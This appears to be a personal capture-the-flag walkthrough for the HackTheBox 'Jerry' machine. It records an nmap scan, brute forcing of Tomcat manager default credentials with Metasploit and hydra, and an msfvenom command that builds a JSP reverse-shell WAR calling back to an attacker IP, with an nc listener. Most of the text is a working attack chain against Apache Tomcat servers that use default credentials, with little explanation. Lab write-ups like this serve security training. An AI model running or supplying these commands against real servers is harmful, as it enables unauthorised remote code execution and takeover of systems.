TOMCAT EXPLOIT

Nmap scan report for jerry.htb (10.10.10.95)

Host is up (0.19s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE VERSION

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-favicon: Apache Tomcat

|_http-server-header: Apache-Coyote/1.1

|_http-title: Apache Tomcat/7.0.88

[+] 10.10.10.95:8080 - Login Successful: tomcat:s3cret

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(scanner/http/tomcat_mgr_login) >

Module options (exploit/multi/http/tomcat_mgr_upload):

Name	Current Setting	Required	Description
HttpPassword	s3cret	no	The password for the specified username
HttpUsername	tomcat	no	The username to authenticate as
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.10.10.95	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	8080	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections

TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)

VHOST no HTTP server virtual host

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html

[8080][http-get] host: 10.10.10.95 login: admin password: admin

[8080][http-get] host: 10.10.10.95 login: admin password: admin

[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret

[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret

WITHOUT METASPLOIT

root@akg:/home/akg/Desktop/hackthebox/jerry# nikto -host http://jerry.htb:8080/

root@akg:/home/akg/Desktop/hackthebox/jerry# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=4444 -f war > shell.war

nc –nlvcp 4444

ROOTED!!!!